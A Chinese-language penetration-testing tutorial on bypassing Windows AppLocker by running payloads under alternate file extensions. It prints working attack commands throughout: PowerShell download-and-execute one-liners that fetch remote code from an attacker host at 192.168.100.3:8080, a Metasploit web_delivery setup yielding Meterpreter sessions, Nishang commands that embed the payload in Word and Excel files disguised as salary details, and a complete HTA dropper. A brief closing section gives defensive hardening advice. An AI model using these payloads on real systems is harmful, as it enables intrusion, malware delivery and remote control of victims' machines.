导语:绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则。然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。
绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则。然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。
可以使用Metasploit 的Web delivery模块来托管要使用到的powershell有效载荷,并从目标中检索传入的连接。
exploit/multi/script/web_delivery
Web Delivery模块 – PowerShell有效载荷
默认情况下,直接从命令提示符执行.bat文件将会被阻止,.bat文件不允许执行。
AppLocker – 限制bat文件的执行
但是,通过将此文件的扩展名更改为.txt并从命令提示符执行相同的有效载荷后将会返回一个Meterpreter会话。
cmd.exe /K < payload.txt
命令提示符 –将.bat文件作为txt执行
payload.txt
@echo off powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://192.168.100.3:8080/9Q21wiSds9E0pxi'); PAUSE
在PowerShell中,可以使用Get-Content cmdlet读取txt文件的内容,然后利用Invoke-Expression运行payload-powershell.txt文件中包含的命令:
IEX (new-object net.webclient).downloadstring(' http://192.168.100.3:8080/9Q21wiSds9E0pxi ');
PowerShell – 从txt文件中执行有效载荷
Metasploit监听器将收到两个Meterpreter会话:
Web Delivery – 获取Meterpreter会话
文件扩展名
像Microsoft Word和Excel这类应用程序系统应该是允许执行的,并且可以作为另一种方法来传递绕过AppLocker的恶意有效载荷。Nishang PowerShell框架可用于生成各种文件后缀,其中可以包含特定的有效载荷,如:
DOC XLS HTA LNK
应该注意到的是,系统需要先安装office,否则nishang将无法生成相关的文件。
PS C:nishangClient> Import-Module .Out-Word.ps1 PS C:nishangClient> Import-Module .Out-Excel.ps1 PS C:nishangClient> Out-Word -Payload "powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring( 'http://192.168.100.3:8080/9Q21wiSds9E0pxi');" Saved to file C:nishangClientSalary_Details.doc 0 PS C:nishangClient> Out-Excel -Payload "powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring ('http://192.168.100.3:8080/9Q21wiSds9E0pxi');" Saved to file C:nishangClientSalary_Details.xls 0 PS C:nishangClient>
Nishang – 嵌入了恶意有效载荷的Word和Excel文件
Nishang还有两个PowerShell脚本,可以用来生成嵌入了PowerShell有效载荷的CHM文件和快捷方式。应该注意到的是,Nishang 依赖于HTML Help Workshop应用程序来生成.CHM文件。
Nishang – 编译HTML文件和嵌入了恶意有效载荷的快捷方式
以下代码可用于通过.HTA应用程序绕过AppLocker和其他应用程序白名单软件。
pentestlab.hta
<HTML> <HEAD> <script language="VBScript"> Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.3:8080/9Q21wiSds9E0pxi')" </script> </HEAD> <BODY> </BODY> </HTML>
下面的所有文件扩展名都可以执行托管在远程的用于绕过AppLocker规则的powershell有效载荷。
Nishang – 生成的文件扩展名
结论
启用AppLocker而不阻止命令提示符和PowerShell那么仍然是可以允许执行代码的,即使特定的文件扩展名被阻止。系统所有者和IT管理员需要删除可以执行代码(如果这些应用程序不提供特定业务目的的话)的信任应用程序,并且为标准用户启用拒绝命令提示符和PowerShell执行的规则以及DLL规则。